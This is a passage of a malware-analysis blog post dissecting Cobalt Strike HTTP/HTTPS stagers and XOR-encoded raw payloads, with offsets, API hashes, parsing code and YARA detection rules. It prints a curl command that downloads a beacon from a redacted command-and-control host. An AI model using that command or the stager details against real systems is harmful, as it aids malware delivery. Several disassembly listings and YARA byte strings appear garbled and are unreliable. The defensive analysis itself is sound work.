According to leaked Java web server source code, Cobalt Strike uses only two checksum values, `0x5C (92)` for x86 payloads and `0x5D` for x64 versions. There are also implementations of Strict stager variants where the request query string must be 5 characters long (including slash). The request query checksum feature isn't mandatory.

```
public static boolean isStager(String uri) {
    return checksum8(uri) == 92L;
}

public static boolean isStagerX64(String uri) {
    return checksum8(uri) == 93L && uri.matches("[A-Za-z0-9]{4}*");
}

public static boolean isStagerStrict(String uri) {
    return isStager(uri) && uri.length() == 5;
}

public static boolean isStagerX64Strict(String uri) {
    return isStagerX64(uri) && uri.length() == 5;
}
```

Python implementation of `checksum8` algorithm:

```
checksum = sum([ord(ch) for ch in s]) % 0x100
```

Metasploit server uses similar values:

```
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITM = 92 # Native (same as Windows)
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98 # Existing session
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
```

You can find a complete list of Cobalt Strike's x86 and x64 strict request queries [here](#).

### Request header

The size of the request header placeholder is 304 bytes and the value is also represented as a plaintext string terminated by a null byte. The request header placeholder is located immediately after the Request query placeholder. The offset for the x86 version is `0x0193` and `0x01D6` for the x64 version.

The typical request header value for HTTP/HTTPS stagers is `User-Agent`. The Cobalt Strike web server has banned user-agents which start with `lynx`, `curl` or `wget` and return a response code `404` if any of these strings are found.

```
public Response_serve(String url, String method, Properties header, Properties param) {
    String useragent = (header.getProperty("User-Agent") + "").toLowerCase();
    if (useragent.startsWith("lynx") && useragent.startsWith("curl") && useragent.startsWith("wget")) {
        ...
    }
}
```

API function `HttpOpenRequestA` is called with following `dwFlags` ( `0x84600200` ):

```
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00002000 )
;0x80000000 ; INTERNET_FLAG_RELOAD
;0x04000000 ; INTERNET_NO_CACHE_WRITE
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00002000 ; INTERNET_FLAG_NO_UI
%endif
```

Python parsing:

```
# x86
request_port = struct.unpack_from('I', data, 0xbf)[0]
request_query = get_str(data, 0x143)
request_header = get_str(data, 0x193)
request_addr = get_str(data, 0x30c)

# x64
request_port = struct.unpack_from('I', data, 0x10f)[0]
request_query = get_str(data, 0x186)
request_header = get_str(data, 0x1d6)
request_addr = get_str(data, 0x36a)
```

Default HTTP x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00aa	0xa779563a	wininet.dll_InternetOpenA
0x00c6	0xc69f8957	wininet.dll_InternetConnectA
0x00de	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x00f2	0x7b18062d	wininet.dll_HttpSendRequestA
0x010b	0x5de2c5aa	kernel32.dll_GetLastError
0x0114	0x315e2145	user32.dll_GetDesktopWindow
0x0123	0x0be057b7	wininet.dll_InternetErrorDlg
0x02c4	0x56a2b5f0	kernel32.dll_ExitProcess
0x02d8	0xe553a458	kernel32.dll_VirtualAlloc
0x02f3	0xe2899612	wininet.dll_InternetReadFile

Default HTTP x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0120	0xc69f8957	wininet.dll_InternetConnectA
0x013f	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0163	0x7b18062d	wininet.dll_HttpSendRequestA
0x0308	0x56a2b5f0	kernel32.dll_ExitProcess
0x0324	0xe553a458	kernel32.dll_VirtualAlloc
0x0342	0xe2899612	wininet.dll_InternetReadFile

Yara rules for HTTP x86 and x64 stagers:

```

rule cobaltstrike_raw_payload_http_stager_x86
{
  strings:
    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
  condition:
    uint32(@h01+0x009c) == 0x0726774c and
    uint32(@h01+0x00aa) == 0xa779563a and
    uint32(@h01+0x00e6) == 0xc69f8957 and
    uint32(@h01+0x00d6) == 0x3b2e55eb and
    uint32(@h01+0x00f2) == 0x7b18062d and
    uint32(@h01+0x0106) == 0x5de2c5aa and
    uint32(@h01+0x0114) == 0x315e2145 and
    uint32(@h01+0x0123) == 0x0be057b7 and
    uint32(@h01+0x02c4) == 0x56a2b5f0 and
    uint32(@h01+0x02d8) == 0xe553a458 and
    uint32(@h01+0x02f3) == 0xe2899612
}

rule cobaltstrike_raw_payload_http_stager_x64
{
  strings:
    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
  condition:
    uint32(@h01+0x00e9) == 0x0726774c and
    uint32(@h01+0x0101) == 0xa779563a and
    uint32(@h01+0x0120) == 0xc69f8957 and
    uint32(@h01+0x013f) == 0x3b2e55eb and
    uint32(@h01+0x0163) == 0x7b18062d and
    uint32(@h01+0x0308) == 0x56a2b5f0 and
    uint32(@h01+0x0324) == 0xe553a458 and
    uint32(@h01+0x0342) == 0xe2899612
}

```

## HTTPS stagers x86 and x64

The payload structure and placeholders are almost the same as the HTTP stagers. The differences are only in payload sizes, placeholder offsets, usage of `InternetSetOptionA` API function (API hash 0x869e4675) and different `dwFlags` for calling the `HttpOpenRequestA` API function.

The default x86 payload size fits 817 bytes and the default for the x64 version is 909 bytes long plus size of request address string and size of the Customer ID if present.

### Request address

The placeholder offset for the x86 version is 0x0331 and 0x038D for the x64 payload version. The typical format is IPv4.

### Request port

The hardcoded request port format is the same as HTTP. The `PUSH` offset for the x86 version is 0x00C3. The `MOV` instruction for x64 version is on offset 0x0110.

### Request query

The placeholder for the request query has the same format and length as the HTTP version. The placeholder offset for the x86 version is 0x0168 and 0x01A9 for the x64 version.

### Request header

The size and length of the request header placeholder is the same as the HTTP version. Offset for the x86 version is 0x01B8 and 0x01F9 for the x64 version.

API function `HttpOpenRequestA` is called with following `dwFlags` ( `0x84A03200` ):

```

#define HTTP_OPTION_FLAGS 0x00000000 | 0x00000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00000000 | 0x00002000 | 0x00001000
;0x00000000 | ; INTERNET_FLAG_RELOAD
;0x00000000 | ; INTERNET_NO_CACHE_WRITE
;0x00000000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00000000 | ; INTERNET_FLAG_SECURE
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
#endif

```

InternetSetOptionA API function is called with following parameters:

```

; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 | ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp ; sizeof(dwFlags)
push byte 4 ; &dwFlags
push eax ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push byte 31 ; hHttpRequest
push esi ; hash( "wininet.dll", "InternetSetOptionA" )
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp

```

```

# x86
request_port = struct.unpack_from('I', data, 0xc4)[0]
request_query = get_str(data, 0x168)
request_header = get_str(data, 0x1b8)
request_addr = get_str(data, 0x331)

# x64
request_port = struct.unpack_from('I', data, 0x112)[0]
request_query = get_str(data, 0x1a9)
request_header = get_str(data, 0x1f9)
request_addr = get_str(data, 0x38d)

```

Default HTTPS x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00af	0xa779563a	wininet.dll_InternetOpenA
0x00cb	0xc69f8957	wininet.dll_InternetConnectA
0x00e7	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0100	0x869e4675	wininet.dll_InternetSetOptionA
0x0110	0x7b18062d	wininet.dll_HttpSendRequestA
0x0129	0x5de2c5aa	kernel32.dll_GetLastError
0x0132	0x315e2145	user32.dll_GetDesktopWindow
0x0141	0x0be057b7	wininet.dll_InternetErrorDlg
0x02e9	0x56a2b5f0	kernel32.dll_ExitProcess
0x02fd	0xe553a458	kernel32.dll_VirtualAlloc
0x0318	0xe2899612	wininet.dll_InternetReadFile

Default HTTPS x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0123	0xc69f8957	wininet.dll_InternetConnectA
0x0142	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x016c	0x869e4675	wininet.dll_InternetSetOptionA
0x0186	0x7b18062d	wininet.dll_HttpSendRequestA
0x032b	0x56a2b5f0	kernel32.dll_ExitProcess
0x0347	0xe553a458	kernel32.dll_VirtualAlloc
0x0365	0xe2899612	wininet.dll_InternetReadFile

Yara rule for HTTPS x86 and x64 stagers:

```
rule cobaltstrike_raw_payload_https_stager_x86
{
  strings:
  $h01 = { FC E8 89 00 00 60 89 E5 31 D2 64 88 52 30 8B 52 0C 88 52 14 88 72 28 }
  condition:
  uint32(@h01+0x009c) == 0x0726774c and
  uint32(@h01+0x00af) == 0xa779563a and
  uint32(@h01+0x00cb) == 0xc69f8957 and
  uint32(@h01+0x00e7) == 0x3b2e55eb and
  uint32(@h01+0x0100) == 0x869e4675 and
  uint32(@h01+0x0110) == 0x7b18062d and
  uint32(@h01+0x0129) == 0x5de2c5aa and
  uint32(@h01+0x0132) == 0x315e2145 and
  uint32(@h01+0x0141) == 0x0be057b7 and
  uint32(@h01+0x02e9) == 0x56a2b5f0 and
  uint32(@h01+0x02fd) == 0xe553a458 and
  uint32(@h01+0x0318) == 0xe2899612
}

rule cobaltstrike_raw_payload_https_stager_x64
{
  strings:
  $h01 = { FC 48 83 E4 F0 E8 C8 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
  condition:
  uint32(@h01+0x00e9) == 0x0726774c and
  uint32(@h01+0x0101) == 0xa779563a and
  uint32(@h01+0x0123) == 0xc69f8957 and
  uint32(@h01+0x0142) == 0x3b2e55eb and
  uint32(@h01+0x016c) == 0x869e4675 and
  uint32(@h01+0x0186) == 0x7b18062d and
  uint32(@h01+0x032b) == 0x56a2b5f0 and
  uint32(@h01+0x0347) == 0xe553a458 and
  uint32(@h01+0x0365) == 0xe2899612
}
```

The next stage or beacon could be easily downloaded via curl or wget tool:

```
curl -o beacon_x86.bin -H "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MATMJS)" -H "Host: redacted.qq.com" https://redacted:443/acf2
```

You can find our parser for Raw Payloads and all according yara rules in our [IoC repository](#).

## Raw Payloads encoding

Cobalt Strike also includes a payload generator for exporting raw stagers and payload in multiple encoded formats. Encoded formats support UTF-8 and UTF-16le.

Table of the most common encoding with usage and examples:

Encoding	Usage	Example
Hex	VBS, HTA	4d5a9000..
Hex Array	PS1	0x4d, 0x5a, 0x90, 0x00..
Hex Veil	PY	\x4d\x5a\x90\x00..
Decimal Array	VBA	-4,-24,-119,0..
Char Array	VBS, HTA	Chr(-4)&"H"&Chr(-125)..
Base64	PS1	38uqlyMjQ6..
gzip / deflate compression	PS1	
Xor	PS1, Raw payloads, Beacons	

Decoding most of the formats are pretty straightforward, but there are few things to consider.

- Values inside Decimal and Char Array are splitted via “new lines” represented by “\s\n” (\x20\x5F\x0A).
- Common compression algorithms used inside PowerShell scripts are GzipStream and raw DeflateStream.

Python decompress implementation:



```

00000000 start:
00000000 FC cld
00000001 EB 00 00 00 00 call $+5
00000003 EB 27 jmp short init_call
;----- S U B R O U T I N E -----
00000008
00000008 init proc near ; CODE XREF: seg000:init_calllp
00000008 R1 = eax
00000008 R2 = ebx
00000008 R3 = ecx
00000008 R4 = edx
00000008 pop R1
00000009 8B 18 mov R2, [R1]
0000000B E3 C0 04 add R1, 4
0000000E 8B 08 mov R3, [R1]
00000010 2A 09 xor R3, R2
00000012 83 C0 04 add R1, 4
00000015 58 push R1
00000016
00000016 xor_loop: ; CODE XREF: init+221j
00000016 8B 18 mov R4, [R1]
00000018 31 DA xor R4, R2
0000001A 89 18 mov [R1], R4
0000001C 31 D3 xor R2, R4
0000001E 83 E8 04 add R1, 4
00000021 83 E9 04 sub R3, 4
00000024 31 D2 xor R4, R4
00000026 39 D1 cmp R3, R4
00000028 74 02 jz short jmp_to_payload
0000002A EB 04 jmp short xor_loop
;-----
0000002C
0000002C jmp_to_payload: ; CODE XREF: init+201j
0000002C 58 pop R2
0000002D FF E3 jmp R2
0000002D init endp ; sp-analysis failed
;-----
0000002F
0000002F init_call: ; CODE XREF: seg000:000000061j
00000031 EB 04 FF FF FF call init

```

Yara rule for covering all x86 variants with XOR verification:

```

rule cobaltstrike_beacon_xored_x86
{
  strings:
    // x86 xor decrypt loop
    // 52 bytes variant
    $h01 = { FC E8?000000 [0-32] EB2? ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31??
    89?? 31?? 83??04 83??04 31?? 39?? 7402 EB0A ?? FF?? E8D4FFFFFF }
    // 56 bytes variant
    $h02 = { FC E8?000000 [0-32] EB2B ?? 8B?00 83C504 8B?00 31?? 83C504 55 8B?00
    31?? 89?00 31?? 83C504 83??04 31?? 39?? 7402 EB08 ?? FF?? E8D0FFFFFF }
    // end of xor decrypt loop
    $h11 = { 7402 EB(E8)EA ?? FF?? E8(D0)D4)FFFFFF }
  condition:
    any of ($h0*) and (
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5AE800 or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5AE8 or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
    )
}

```

The precompiled x64 code is 63 bytes long with no junk bytes. There is also only one precompiled code variant.

```

00000000 start:
00000000 FC cld
00000001 48 83 E4 F8 and rsp, 0FFFFFFFFFFFFFFF0h
00000003 58 33 jmp short init_call
;----- S U B R O U T I N E -----
00000007
00000007 ; Attributes: noreturn fuzzy-sp
00000007
00000007 init proc near ; CODE XREF: init:init_calllp
00000007 5D pop rbp
00000008 8B 45 00 mov eax, [rbp+]
0000000B 48 83 C5 04 add rbp, 4
0000000F 8B 40 00 mov ecx, [rbp+]
00000012 31 C1 xor ecx, eax
00000014 48 83 C5 04 add rbp, 4
00000016 55 push rbp
00000019
00000019 xor_loop: ; CODE XREF: init+291j
00000019 8B 05 00 mov edx, [rbp+]
0000001C 31 C2 xor edx, eax
0000001E 89 55 00 mov [rbp+0], edx
00000021 31 D0 xor eax, edx
00000023 48 83 C5 04 add rbp, 4
00000027 83 E9 04 sub ecx, 4
0000002A 31 D2 xor edx, edx
0000002C 39 D1 cmp ecx, edx
0000002E 74 02 jz short jmp_to_payload
00000030 EB E7 jmp short xor_loop
;-----
00000032
00000032 jmp_to_payload: ; CODE XREF: init+271j
00000032 5B pop rax
00000033 3C cld
00000034 48 83 E4 F8 and rsp, 0FFFFFFFFFFFFFFF0h
00000036 FF D0 call rax
0000003A
0000003A init_call: ; CODE XREF: seg000:0000000000000051
0000003A EB C0 FF FF FF call init

```

Yara rule for x64 variant with XOR verification:

```
rule cobaltstrike_beacon_xored_x64
{
  strings:
    // x64 xor decrypt loop
    $h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2
    895500 31D0 4883C504 83E904 31D2 39D1 7402 EB7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
    // end of xor decrypt loop
    $h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }
  condition:
    $h01 and (
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5A4152 or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5A41 or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
      uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
    )
}
```

You can find our Raw Payload decoder and extractor for the most common encodings [here](#). It uses a parser from the previous chapter and it could save your time and manual work. We also provide an IDAPython script for easy raw payload analysis.

## Conclusion

As we see more and more abuse of Cobalt Strike by threat actors, understanding how to decode its use is important for malware analysis.

In this blog, we've focused on understanding how threat actors use Cobalt Strike payloads and how you can analyze them.

The next part of this series will be dedicated to Cobalt Strike beacons and parsing its configuration structure.



A group of elite researchers who like to stay under the radar.

---

Source: <https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/>